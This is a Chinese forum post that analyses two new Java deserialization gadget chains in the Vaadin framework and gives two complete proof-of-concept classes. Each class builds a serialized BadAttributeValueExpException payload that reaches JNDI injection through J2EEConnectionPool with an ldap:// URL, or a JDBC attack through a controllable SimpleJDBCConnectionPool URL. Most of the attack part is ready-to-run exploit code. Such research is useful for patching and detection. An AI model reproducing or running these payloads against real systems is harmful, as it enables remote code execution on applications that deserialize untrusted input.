Vaadin New Gadgets分享
1463835044896947 发表于 湖北 技术文章 1645浏览 · 2024-09-27 07:07

前言

分享一下在Vaadin找到的两条新Gadget Chain,可以造成JNDI注入或JDBC攻击

Gadget Chain 分析

我们还是从PropertysetItem#toString()开始看

这里getItemProperty可以返回Property子类,已有链使用的是NestedMethodProperty类触发getter方法,我们这里看看其他类方法如:AbstractSelect#getValue

这里可以控制返回值retValue,从而控制getValue方法调用containsId方法,我们看SQLContainer#containsId方法:

public boolean containsId(Object itemId) {
    if (itemId == null) {
        return false;
    } else if (this.cachedItems.containsKey(itemId)) {
        return true;
    } else {
        Iterator var2 = this.addedItems.iterator();

        while(var2.hasNext()) {
            RowItem item = (RowItem)var2.next();
            if (item.getId().equals(itemId)) {
                return this.itemPassesFilters(item);
            }
        }

        if (this.removedItems.containsKey(itemId)) {
            return false;
        } else if (itemId instanceof ReadOnlyRowId) {
            int rowNum = ((ReadOnlyRowId)itemId).getRowNum();
            return rowNum >= 0 && rowNum < this.size;
        } else {
            if (itemId instanceof RowId && !(itemId instanceof TemporaryRowId)) {
                try {
                    return this.queryDelegate.containsRowWithKey(((RowId)itemId).getId());
                } catch (Exception var4) {
                    getLogger().log(Level.WARNING, "containsId query failed", var4);
                }
            }

            return false;
        }
    }
}

还记得retValue是可控的,因此我们可以在上一步将其控制为RowId类对象从而调用this.queryDelegate.containsRowWithKey(((RowId)itemId).getId());,走到TableQuery#containsRowWithKey方法

控制进入beginTransaction方法:

我们可以继续控制走入reverseConnection方法,有两个候选方法:J2EEConnectionPool#reserveConnectionSimpleJDBCConnectionPool#reserveConnection

我们先看第一个,直接触发了JNDI注入

对于第二个:

可以先进入initializeConnections

这里注意给initialConnections成员变量设一个1,从而进入createConnection

JDBC连接的URL可控,因此若存在一些数据库依赖的话也可造成攻击

POC

package com.example.Vaadin;

import com.example.Utils.ReflectionUtil;
import com.example.Utils.SerializeUtil;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.ListSelect;

import javax.management.BadAttributeValueExpException;
import java.util.ArrayList;

public class POC_1 {

    public static void main(String[] args) throws Exception {
        J2EEConnectionPool pool = new J2EEConnectionPool("ldap://xxx");

        TableQuery tableQuery = (TableQuery) ReflectionUtil.createWithoutConstructor(Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery"));
        ReflectionUtil.setField(tableQuery, "primaryKeyColumns", new ArrayList<>());
        ReflectionUtil.setField(tableQuery, "fullTableName", "test");
        ReflectionUtil.setField(tableQuery, "sqlGenerator", new DefaultSQLGenerator());
        ReflectionUtil.setField(tableQuery, "connectionPool", pool);

        ListSelect listSelect = new ListSelect();
        SQLContainer sql = (SQLContainer) ReflectionUtil.createObject("com.vaadin.data.util.sqlcontainer.SQLContainer", new Class[]{}, new Object[]{});
        ReflectionUtil.setField(sql, "queryDelegate", tableQuery);

        RowId id = new RowId("id");
        ReflectionUtil.setField(listSelect, "value", id);
        ReflectionUtil.setField(listSelect, "multiSelect", true);
        ReflectionUtil.setField(listSelect, "items", sql);
        PropertysetItem propertysetItem = new PropertysetItem();
        propertysetItem.addItemProperty("key", listSelect);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(0);
        ReflectionUtil.setField(bad, "val", propertysetItem);

        SerializeUtil.deserialize(SerializeUtil.serialize(bad));
    }

}

package com.example.Vaadin;

import com.example.Utils.ReflectionUtil;
import com.example.Utils.SerializeUtil;
import com.vaadin.data.util.PropertysetItem;
import com.vaadin.data.util.sqlcontainer.RowId;
import com.vaadin.data.util.sqlcontainer.SQLContainer;
import com.vaadin.data.util.sqlcontainer.connection.J2EEConnectionPool;
import com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool;
import com.vaadin.data.util.sqlcontainer.query.TableQuery;
import com.vaadin.data.util.sqlcontainer.query.generator.DefaultSQLGenerator;
import com.vaadin.ui.ListSelect;

import javax.management.BadAttributeValueExpException;
import java.util.ArrayList;

public class POC_2 {

    public static void main(String[] args) throws Exception {
        SimpleJDBCConnectionPool jdbc = (SimpleJDBCConnectionPool) ReflectionUtil.createWithoutConstructor(Class.forName("com.vaadin.data.util.sqlcontainer.connection.SimpleJDBCConnectionPool"));
        ReflectionUtil.setField(jdbc, "connectionUri", "evilUrl");
        ReflectionUtil.setField(jdbc, "userName", "user");
        ReflectionUtil.setField(jdbc, "password", "passwd");
        ReflectionUtil.setField(jdbc, "initialConnections", 1);

        TableQuery tableQuery = (TableQuery) ReflectionUtil.createWithoutConstructor(Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery"));
        ReflectionUtil.setField(tableQuery, "primaryKeyColumns", new ArrayList<>());
        ReflectionUtil.setField(tableQuery, "fullTableName", "test");
        ReflectionUtil.setField(tableQuery, "sqlGenerator", new DefaultSQLGenerator());
        ReflectionUtil.setField(tableQuery, "connectionPool", jdbc);

        ListSelect listSelect = new ListSelect();
        SQLContainer sql = (SQLContainer) ReflectionUtil.createObject("com.vaadin.data.util.sqlcontainer.SQLContainer", new Class[]{}, new Object[]{});
        ReflectionUtil.setField(sql, "queryDelegate", tableQuery);

        RowId id = new RowId("id");
        ReflectionUtil.setField(listSelect, "value", id);
        ReflectionUtil.setField(listSelect, "multiSelect", true);
        ReflectionUtil.setField(listSelect, "items", sql);
        PropertysetItem propertysetItem = new PropertysetItem();
        propertysetItem.addItemProperty("key", listSelect);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(0);
        ReflectionUtil.setField(bad, "val", propertysetItem);

        SerializeUtil.deserialize(SerializeUtil.serialize(bad));
    }

}

1 条评论
某人
表情
可输入 255
目录